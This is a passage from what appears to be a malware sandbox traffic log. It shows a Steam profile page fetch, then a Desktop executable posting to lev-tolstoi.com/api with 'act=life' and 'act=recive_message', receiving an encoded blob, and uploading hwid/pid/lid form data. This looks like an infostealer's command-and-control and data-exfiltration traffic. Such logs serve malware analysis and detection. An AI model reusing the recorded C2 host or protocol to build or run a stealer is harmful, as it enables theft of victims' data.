sessionid=4e735d80a98ea51e63cdf1a4; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7C185ce35c568ebbb18a145d0cabae7186; Path=/; Secure; HttpOnly; SameSite=None
2025-01-01 15:54:35 UTC	14479	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 20 72 65 73 70 6f 6e 73 69 76 65 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 09 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 68 65 6d 65 2d 63 6f 6c 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 23 31 37 31 61 32 31 22 3e 0a 09 09 3c 74 69 74 6c 65 3e Data Ascii: <!DOCTYPE html><html class=" responsive" lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><meta name="theme-color" content="#171a21"><title>
2025-01-01 15:54:35 UTC	16384	IN	Data Raw: 2e 63 6f 6d 2f 3f 73 75 62 73 65 63 74 69 6f 6e 3d 62 72 6f 61 64 63 61 73 74 73 22 3e 0a 09 09 09 09 09 09 42 72 6f 61 64 63 61 73 74 73 09 09 09 09 09 09 09 09 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 62 6f 75 74 2f 22 3e 0a 09 09 09 09 41 62 6f 75 74 09 09 09 3c 2f 61 3e 0a 09 09 09 09 09 09 09 09 09 09 3c 61 20 63 6c 61 73 73 3d 22 6d 65 6e 75 69 74 65 6d 20 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 6c 70 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 65 6e 2f 22 3e 0a 09 09 09 09 53 55 50 50 4f 52 54 09 Data Ascii: .com/?subsection=broadcasts">Broadcasts</a></div><a class="menuitem " href="https://store.steampowered.com/about/">About</a><a class="menuitem " href="https://help.steampowered.com/en/">SUPPORT
2025-01-01 15:54:35 UTC	3768	IN	Data Raw: 0a 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 61 63 74 69 6f 6e 73 22 3e 0a 09 09 09 09 09 09 09 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 72 6f 66 69 6c 65 5f 68 65 61 64 65 72 5f 73 75 6d 6d 61 72 79 22 3e 0a 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 20 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 5f 73 70 61 63 65 72 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 34 70 78 3b 22 3e 0a 09 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 61 63 74 75 61 6c 5f 70 65 72 73 6f 6e 61 5f 6e 61 6d 65 22 Data Ascii: </div><div class="profile_header_actions"></div></div><div class="profile_header_summary"><div class="persona_name persona_name_spacer" style="font-size: 24px;"><span class="actual_persona_name"
2025-01-01 15:54:35 UTC	490	IN	Data Raw: 72 20 41 67 72 65 65 6d 65 6e 74 3c 2f 61 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 26 6e 62 73 70 3b 7c 20 26 6e 62 73 70 3b 3c 61 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 73 74 6f 72 65 2e 73 74 65 61 6d 70 6f 77 65 72 65 64 2e 63 6f 6d 2f 61 63 63 6f 75 6e 74 2f 63 6f 6f 6b 69 65 70 72 65 66 65 72 65 6e 63 65 73 2f 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 43 6f 6f 6b 69 65 73 3c 2f 61 3e 0a 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 09 09 09 09 09 09 3c 2f 73 70 61 6e 3e 0a 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 72 65 73 70 6f 6e 73 69 76 65 5f 6f 70 74 69 6e 5f 6c 69 6e 6b 22 3e 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 74 Data Ascii: r Agreement</a>  \|  <a href="http://store.steampowered.com/account/cookiepreferences/" target="_blank">Cookies</a></span></span></div><div class="responsive_optin_link"><div class="bt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49987	172.67.157.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:35 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: lev-tolstoi.com
2025-01-01 15:54:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-01 15:54:36 UTC	1129	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:54:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=clr4rgivb8m5f6qviaficmjoj7; expires=Sun, 27 Apr 2025 09:41:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8Uke620Izaj8LV8WQL5iYYN%2F4Ehaiv1emC%2F0Dss7ur8XVAEHTvcaUSY55J9TB83YCGDnnNU0TRZxsSCB5DEKv3HZDyPwjOyi36al2%2FRG%2FDo9mD9ezl%2BX5lgQ875rV%2FHHO8U%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3b055aaaa8cad-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1963&min_rtt=1952&rtt_var=755&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2836&recv_bytes=906&delivery_rate=1428571&cwnd=246&unsent_bytes=0&cid=8cffa367ff15ed86&ts=451&x=0"
2025-01-01 15:54:36 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-01 15:54:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.6	49988	172.67.157.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:36 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 42 Host: lev-tolstoi.com
2025-01-01 15:54:36 UTC	42	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 62 6f 34 32 58 6a 2d 2d 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=bo42Xj--&j=
2025-01-01 15:54:37 UTC	1125	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:54:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=8jn27pnepihlouti8v5ngjimc1; expires=Sun, 27 Apr 2025 09:41:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=71UZPCEnxWUQL4k2Ob3Ba7Io54QLZxqzGzZEPGGegooe%2B%2F0EE3olHmHLieq78x6C64wAjFOdQ38lAcn5%2FZBH9xBA4JT0sFpELX41%2FM33W3m9XkmpGBg3hAxwjKI3RKRcwTM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3b05b7a2515c7-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1536&min_rtt=1526&rtt_var=593&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2835&recv_bytes=941&delivery_rate=1812538&cwnd=252&unsent_bytes=0&cid=4f0f2cc468a827ca&ts=467&x=0"
2025-01-01 15:54:37 UTC	244	IN	Data Raw: 34 39 39 34 0d 0a 6a 44 30 50 4d 4b 55 4a 58 65 37 2b 6c 35 49 70 58 76 79 38 65 47 58 37 31 6b 43 7a 59 52 76 68 53 53 38 57 46 79 78 78 67 7a 58 33 48 33 6b 53 6e 7a 31 78 7a 49 33 79 73 42 4d 71 6a 73 6b 64 53 64 6d 33 4a 4a 46 62 66 59 41 6c 58 48 4d 37 44 67 66 75 46 37 5a 62 62 6c 7a 57 62 48 48 4d 6d 2b 2b 77 45 77 57 48 6e 68 30 4c 32 65 78 69 31 67 74 35 67 43 56 4e 64 33 78 44 41 65 39 57 35 46 46 6f 57 4d 42 71 4f 59 2b 53 2b 76 64 4d 4f 35 33 57 46 67 79 57 76 69 32 52 54 54 6d 45 4d 77 30 73 4e 57 45 55 39 31 54 42 58 48 78 62 68 33 52 78 6c 64 7a 79 2f 41 74 6b 33 74 30 64 42 35 65 77 4a 4e 67 4a 63 34 6b 74 54 48 4a 39 58 42 6a 6c 58 65 52 66 61 31 6e 4b 59 79 32 43 6d 50 33 38 53 6a 47 64 6e 6c 52 48 6e 71 Data Ascii: 4994jD0PMKUJXe7+l5IpXvy8eGX71kCzYRvhSS8WFyxxgzX3H3kSnz1xzI3ysBMqjskdSdm3JJFbfYAlXHM7DgfuF7ZbblzWbHHMm++wEwWHnh0L2exi1gt5gCVNd3xDAe9W5FFoWMBqOY+S+vdMO53WFgyWvi2RTTmEMw0sNWEU91TBXHxbh3Rxldzy/Atk3t0dB5ewJNgJc4ktTHJ9XBjlXeRfa1nKYy2CmP38SjGdnlRHnq
2025-01-01 15:54:37 UTC	1369	IN	Data Raw: 78 69 69 55 4d 71 73 53 68 63 5a 57 42 44 41 2b 63 58 38 52 46 30 45 73 42 6e 66 39 54 63 2f 66 78 46 4f 5a 33 52 48 51 61 5a 70 69 33 52 41 48 47 4c 4c 30 64 37 65 6b 45 64 36 31 44 6d 56 6d 70 64 77 47 4d 35 67 35 2b 31 76 67 73 37 68 70 35 43 52 37 6d 6b 49 64 49 58 64 4a 4a 72 55 6a 70 73 44 68 54 74 46 37 59 66 61 31 7a 47 5a 6a 2b 65 6c 50 37 37 54 69 36 56 31 78 63 4b 6d 62 6b 6f 33 67 42 35 68 43 46 48 65 33 39 4b 48 75 78 52 37 6c 38 74 48 49 64 73 4a 38 7a 45 74 64 4e 4f 4c 4a 6e 53 44 45 57 6a 39 44 32 66 47 6a 6d 45 4a 77 30 73 4e 55 59 57 34 6c 54 6c 55 47 35 61 7a 48 6b 2f 6e 70 72 34 39 56 6b 36 6d 39 41 51 42 49 75 2b 4c 4e 63 41 63 49 67 69 53 48 4e 78 44 6c 32 68 55 50 59 66 4e 52 4c 6d 5a 6a 53 41 6c 75 4c 77 43 79 50 51 78 31 6f 41 6c Data Ascii: xiiUMqsShcZWBDA+cX8RF0EsBnf9Tc/fxFOZ3RHQaZpi3RAHGLL0d7ekEd61DmVmpdwGM5g5+1vgs7hp5CR7mkIdIXdJJrUjpsDhTtF7Yfa1zGZj+elP77Ti6V1xcKmbko3gB5hCFHe39KHuxR7l8tHIdsJ8zEtdNOLJnSDEWj9D2fGjmEJw0sNUYW4lTlUG5azHk/npr49Vk6m9AQBIu+LNcAcIgiSHNxDl2hUPYfNRLmZjSAluLwCyPQx1oAl
2025-01-01 15:54:37 UTC	1369	IN	Data Raw: 4d 64 49 39 72 41 7a 52 79 56 6c 4f 35 46 38 52 63 65 56 48 4e 4b 51 71 50 6b 76 76 33 58 58 79 42 6b 41 4e 48 6e 72 68 69 69 55 4e 30 67 69 4e 4c 5a 6e 70 44 45 4f 39 5a 34 56 70 69 57 73 64 72 4d 6f 6d 59 2f 76 74 49 4d 5a 72 4d 45 41 65 52 73 53 50 62 43 54 6e 4e 61 30 70 73 4e 52 5a 54 30 45 44 6c 48 56 68 52 79 57 55 34 6d 74 7a 71 76 6c 4a 38 6d 64 4a 61 58 39 6d 35 4b 74 51 47 64 6f 49 68 51 33 46 2f 51 68 76 76 56 50 78 51 61 56 4c 4c 59 7a 57 42 6b 76 48 34 51 6a 65 56 32 42 6f 47 6b 2f 52 73 6b 51 52 68 77 33 4d 4e 51 48 4a 43 48 75 34 56 32 31 78 6a 58 4d 42 39 66 35 50 53 37 4c 42 4d 4d 4e 36 47 57 67 75 51 74 43 6e 62 42 33 6d 45 4a 6b 68 33 63 6b 30 65 35 6c 33 67 57 47 6c 65 7a 6d 59 35 6a 4a 76 78 39 56 6b 35 6c 39 49 57 52 39 66 30 4a 63 Data Ascii: MdI9rAzRyVlO5F8RceVHNKQqPkvv3XXyBkANHnrhiiUN0giNLZnpDEO9Z4VpiWsdrMomY/vtIMZrMEAeRsSPbCTnNa0psNRZT0EDlHVhRyWU4mtzqvlJ8mdJaX9m5KtQGdoIhQ3F/QhvvVPxQaVLLYzWBkvH4QjeV2BoGk/RskQRhw3MNQHJCHu4V21xjXMB9f5PS7LBMMN6GWguQtCnbB3mEJkh3ck0e5l3gWGlezmY5jJvx9Vk5l9IWR9f0Jc
2025-01-01 15:54:37 UTC	1369	IN	Data Raw: 61 30 70 34 4e 52 5a 54 36 46 37 38 55 57 4e 62 79 6d 30 33 69 35 4c 34 2b 30 30 33 6d 64 6b 63 43 70 47 35 4a 39 49 43 66 59 6b 35 54 6e 39 2f 51 78 6d 68 47 61 35 59 64 52 4b 66 4b 78 69 41 74 65 58 72 57 53 72 65 77 56 51 65 32 62 4d 75 6b 56 73 35 67 43 52 45 65 33 31 47 48 4f 35 54 34 46 6c 72 58 38 4a 6b 4e 5a 36 55 2b 2f 31 41 4d 35 58 4d 47 67 71 64 75 43 62 5a 43 48 50 44 5a 51 31 7a 62 51 35 4c 6f 57 4c 6a 55 47 31 52 30 53 73 67 77 6f 57 31 39 30 64 38 78 70 34 57 43 5a 6d 37 4c 74 30 49 63 59 49 6e 51 33 4e 77 52 78 76 70 52 65 39 62 5a 56 50 4a 5a 44 36 49 6d 66 44 30 54 44 69 59 30 56 70 4a 32 62 4d 36 6b 56 73 35 72 41 78 34 4e 6c 52 30 55 2f 34 5a 39 78 39 71 58 6f 63 7a 66 34 43 66 2b 66 68 45 4f 70 66 53 45 41 36 53 75 43 6e 56 44 33 43 Data Ascii: a0p4NRZT6F78UWNbym03i5L4+003mdkcCpG5J9ICfYk5Tn9/QxmhGa5YdRKfKxiAteXrWSrewVQe2bMukVs5gCREe31GHO5T4FlrX8JkNZ6U+/1AM5XMGgqduCbZCHPDZQ1zbQ5LoWLjUG1R0SsgwoW190d8xp4WCZm7Lt0IcYInQ3NwRxvpRe9bZVPJZD6ImfD0TDiY0VpJ2bM6kVs5rAx4NlR0U/4Z9x9qXoczf4Cf+fhEOpfSEA6SuCnVD3C
2025-01-01 15:54:37 UTC	1369	IN	Data Raw: 58 52 49 41 65 5a 65 2f 46 46 67 58 63 39 6a 4e 6f 32 59 38 50 31 4e 4d 4a 54 66 48 51 6d 58 76 47 4b 66 51 33 36 62 61 78 55 30 56 46 34 49 38 30 48 6a 66 6d 42 64 68 33 52 78 6c 64 7a 79 2f 41 74 6b 33 74 63 49 41 35 53 6d 4b 39 59 4e 64 6f 41 35 54 48 6c 2b 58 42 54 75 55 2b 6c 54 61 31 33 42 61 6a 71 47 6b 50 4c 31 51 44 4f 53 6e 6c 52 48 6e 71 78 69 69 55 4e 58 69 44 68 61 64 33 74 46 42 66 6f 58 38 52 46 30 45 73 42 6e 66 39 54 63 39 76 74 41 4f 4a 37 53 47 67 4f 55 74 44 44 65 42 48 36 4b 49 46 39 2b 63 6b 6b 59 36 56 7a 68 57 58 39 65 79 58 6b 36 6e 6f 36 31 76 67 73 37 68 70 35 43 52 36 2b 7a 4d 73 45 41 4f 37 49 39 54 6d 4a 2b 51 78 2b 68 53 4b 42 47 4c 56 58 4c 4b 32 66 4d 6d 76 72 35 53 44 4f 66 31 78 59 4b 6e 4c 30 6e 30 41 56 39 69 53 46 4e Data Ascii: XRIAeZe/FFgXc9jNo2Y8P1NMJTfHQmXvGKfQ36baxU0VF4I80HjfmBdh3Rxldzy/Atk3tcIA5SmK9YNdoA5THl+XBTuU+lTa13BajqGkPL1QDOSnlRHnqxiiUNXiDhad3tFBfoX8RF0EsBnf9Tc9vtAOJ7SGgOUtDDeBH6KIF9+ckkY6VzhWX9eyXk6no61vgs7hp5CR6+zMsEAO7I9TmJ+Qx+hSKBGLVXLK2fMmvr5SDOf1xYKnL0n0AV9iSFN
2025-01-01 15:54:37 UTC	1369	IN	Data Raw: 79 76 54 71 35 59 59 52 4b 66 4b 7a 79 4c 6e 2f 54 36 51 6a 43 52 32 52 34 56 6b 37 4d 77 30 41 4a 79 6a 69 64 4e 65 58 68 45 45 75 68 61 34 6c 4a 71 56 63 68 75 66 38 4c 63 38 75 67 4c 5a 4e 37 2f 46 77 79 56 37 33 69 52 48 44 65 61 61 30 70 34 4e 52 5a 54 34 56 33 72 56 57 42 52 79 47 67 74 6a 5a 72 6e 38 45 59 32 6a 4e 51 52 41 70 53 35 4c 39 49 46 66 34 67 6e 58 33 31 31 54 52 69 68 47 61 35 59 64 52 4b 66 4b 78 79 62 69 76 2f 33 52 79 71 56 33 78 6b 52 6c 4b 52 69 6e 30 4e 6f 68 44 6f 4e 4c 47 4e 65 42 4f 5a 49 6f 45 59 74 56 63 73 72 5a 38 79 61 2f 50 5a 4d 4f 70 44 4d 48 77 47 57 75 79 76 59 42 33 47 41 4b 30 6c 77 63 6b 73 51 37 56 7a 70 58 47 4a 57 7a 6d 55 32 67 39 79 37 73 45 77 6b 33 6f 5a 61 4a 6f 4b 33 4c 74 78 44 5a 73 30 79 44 58 4e 35 44 Data Ascii: yvTq5YYRKfKzyLn/T6QjCR2R4Vk7Mw0AJyjidNeXhEEuha4lJqVchuf8Lc8ugLZN7/FwyV73iRHDeaa0p4NRZT4V3rVWBRyGgtjZrn8EY2jNQRApS5L9IFf4gnX311TRihGa5YdRKfKxybiv/3RyqV3xkRlKRin0NohDoNLGNeBOZIoEYtVcsrZ8ya/PZMOpDMHwGWuyvYB3GAK0lwcksQ7VzpXGJWzmU2g9y7sEwk3oZaJoK3LtxDZs0yDXN5D
2025-01-01 15:54:37 UTC	1369	IN	Data Raw: 32 48 30 31 5a 30 57 34 34 6d 74 37 41 38 30 55 79 6d 63 68 61 47 4b 62 36 59 74 34 5a 4f 64 73 53 56 44 52 79 51 6c 4f 35 46 2f 74 59 62 56 58 64 66 54 69 41 6a 66 37 39 52 78 36 52 32 51 77 45 6c 72 63 7a 32 45 39 79 6a 6d 73 44 4e 48 4a 57 55 37 6b 58 77 56 68 37 55 65 68 6f 4c 6f 58 63 75 37 42 4d 4b 74 36 47 57 6a 6e 5a 70 69 48 42 41 48 61 53 46 51 30 73 62 48 42 54 36 6b 48 70 54 32 35 45 7a 47 59 7a 6e 61 4b 31 71 42 39 75 7a 49 78 49 56 59 62 30 50 65 35 4e 4f 59 4a 72 46 55 31 73 44 67 57 68 44 37 77 52 4c 55 43 48 4d 33 2f 4c 6e 2b 66 69 54 54 2b 49 33 56 30 35 70 35 4d 30 32 77 52 70 68 44 78 43 4e 44 73 4f 48 4b 45 50 31 78 39 6b 56 64 78 36 4b 59 47 4d 38 72 42 30 63 74 37 47 57 6c 2f 5a 67 53 48 66 44 58 36 56 4f 67 42 54 59 30 51 55 38 56 Data Ascii: 2H01Z0W44mt7A80UymchaGKb6Yt4ZOdsSVDRyQlO5F/tYbVXdfTiAjf79Rx6R2QwElrcz2E9yjmsDNHJWU7kXwVh7UehoLoXcu7BMKt6GWjnZpiHBAHaSFQ0sbHBT6kHpT25EzGYznaK1qB9uzIxIVYb0Pe5NOYJrFU1sDgWhD7wRLUCHM3/Ln+fiTT+I3V05p5M02wRphDxCNDsOHKEP1x9kVdx6KYGM8rB0ct7GWl/ZgSHfDX6VOgBTY0QU8V
2025-01-01 15:54:37 UTC	1369	IN	Data Raw: 48 49 64 2b 4e 49 43 61 2b 4f 55 45 4c 59 6a 64 44 41 44 56 76 44 50 63 44 7a 6d 38 5a 51 31 73 4e 52 5a 54 31 46 54 67 55 57 70 45 31 69 59 66 68 35 44 32 2f 45 6f 37 33 70 42 61 41 64 6e 73 63 5a 39 44 66 5a 4a 72 46 53 51 6e 46 55 61 79 41 4c 34 4e 63 68 7a 65 4b 79 6e 4d 78 4b 65 2b 43 79 37 65 68 6c 70 41 6d 71 59 77 31 77 42 76 67 47 78 7a 53 6e 52 44 48 4b 31 5a 35 56 39 71 51 74 46 77 63 34 53 66 37 2b 70 31 41 72 58 53 48 41 43 44 73 79 54 33 49 7a 6e 4e 61 30 49 30 4c 58 64 54 71 52 66 52 45 53 31 4b 68 7a 4e 2f 75 5a 2f 37 2f 6b 77 71 6a 35 4d 79 4a 4b 4f 4f 59 50 30 45 62 4d 45 66 53 6d 52 6b 52 52 37 74 46 36 41 66 61 78 4b 66 4f 33 48 4d 6d 4f 53 77 45 32 7a 4d 68 55 39 55 7a 75 52 77 7a 6b 31 67 77 7a 30 4e 4c 43 63 41 55 2f 4d 58 74 68 38 Data Ascii: HId+NICa+OUELYjdDADVvDPcDzm8ZQ1sNRZT1FTgUWpE1iYfh5D2/Eo73pBaAdnscZ9DfZJrFSQnFUayAL4NchzeKynMxKe+Cy7ehlpAmqYw1wBvgGxzSnRDHK1Z5V9qQtFwc4Sf7+p1ArXSHACDsyT3IznNa0I0LXdTqRfRES1KhzN/uZ/7/kwqj5MyJKOOYP0EbMEfSmRkRR7tF6AfaxKfO3HMmOSwE2zMhU9UzuRwzk1gwz0NLCcAU/MXth8
2025-01-01 15:54:37 UTC	1369	IN	Data Raw: 48 48 4d 6a 72 57 6f 43 33 75 51 30 78 73 45 6c 37 63 77 77 77 56 36 6c 53 67 4b 53 6b 74 72 48 75 78 53 34 46 68 54 62 4f 5a 68 4c 34 47 54 38 72 4a 72 4f 34 6a 64 4a 44 6d 75 70 53 58 42 51 56 2b 41 50 55 34 30 4f 77 34 4c 6f 51 2b 75 66 6d 64 43 79 6d 51 34 7a 72 7a 79 35 6b 68 38 30 4a 34 65 52 38 48 30 42 39 77 4f 66 49 30 73 44 31 56 2f 58 68 37 75 55 4b 78 2f 61 6b 54 45 4b 33 48 4d 6b 4c 57 6f 43 7a 32 55 7a 68 63 49 6e 76 67 6c 79 77 51 35 7a 57 74 44 4e 43 30 4f 45 75 74 48 34 31 42 71 48 73 46 6c 4d 63 79 44 75 2b 6b 4c 4b 74 36 47 53 55 6e 5a 70 6d 4b 4a 51 7a 36 41 4f 56 39 79 64 6c 67 51 70 6d 6e 51 63 6e 39 56 31 32 68 39 76 5a 48 78 35 6c 34 2f 6a 74 6b 6b 4f 62 53 6d 4a 63 45 41 4f 37 49 39 54 6e 52 37 53 56 4f 76 46 2f 59 66 4e 52 4c 71 Data Ascii: HHMjrWoC3uQ0xsEl7cwwwV6lSgKSktrHuxS4FhTbOZhL4GT8rJrO4jdJDmupSXBQV+APU40Ow4LoQ+ufmdCymQ4zrzy5kh80J4eR8H0B9wOfI0sD1V/Xh7uUKx/akTEK3HMkLWoCz2UzhcInvglywQ5zWtDNC0OEutH41BqHsFlMcyDu+kLKt6GSUnZpmKJQz6AOV9ydlgQpmnQcn9V12h9vZHx5l4/jtkkObSmJcEAO7I9TnR7SVOvF/YfNRLq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49989	172.67.157.254	443	4784	C:\Users\user\Desktop\Gz1bBIg2Tw.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-01 15:54:37 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=D0HF5DCDGYNYRXW User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12836 Host: lev-tolstoi.com
2025-01-01 15:54:37 UTC	12836	OUT	Data Raw: 2d 2d 44 30 48 46 35 44 43 44 47 59 4e 59 52 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 36 38 35 41 44 46 33 44 37 35 43 39 37 46 33 36 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 0d 0a 2d 2d 44 30 48 46 35 44 43 44 47 59 4e 59 52 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 44 30 48 46 35 44 43 44 47 59 4e 59 52 58 57 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 62 6f 34 32 58 6a 2d 2d 0d 0a 2d 2d 44 30 48 46 35 44 43 44 47 59 Data Ascii: --D0HF5DCDGYNYRXWContent-Disposition: form-data; name="hwid"685ADF3D75C97F36BEBA0C6A975F1733--D0HF5DCDGYNYRXWContent-Disposition: form-data; name="pid"2--D0HF5DCDGYNYRXWContent-Disposition: form-data; name="lid"bo42Xj----D0HF5DCDGY
2025-01-01 15:54:43 UTC	1131	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:54:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4ovf29uqef2p1f88a2ehn60fhh; expires=Sun, 27 Apr 2025 09:41:22 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hPASdE3A3b1XjOAiPHhECkhaL1zMHw%2Bra%2FRUrXjCpoQNmJTbLlCluELvJyMXLvCwUVMw0I%2F%2BkJtGGZLhL4vSFltTb13RoygA7J2LxMllWWL01Jczv2Sd%2BWMzDGLNoYtvZtk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb3b062cd2c8c7b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1977&min_rtt=1973&rtt_var=743&sent=8&recv=18&lost=0&retrans=0&sent_bytes=2836&recv_bytes=13772&delivery_rate=1479979&cwnd=186&unsent_bytes=0&cid=e68c768fee6ed52c&ts=5734&x=0"
2025-01-01 15:54:43 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-01 15:54:43 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
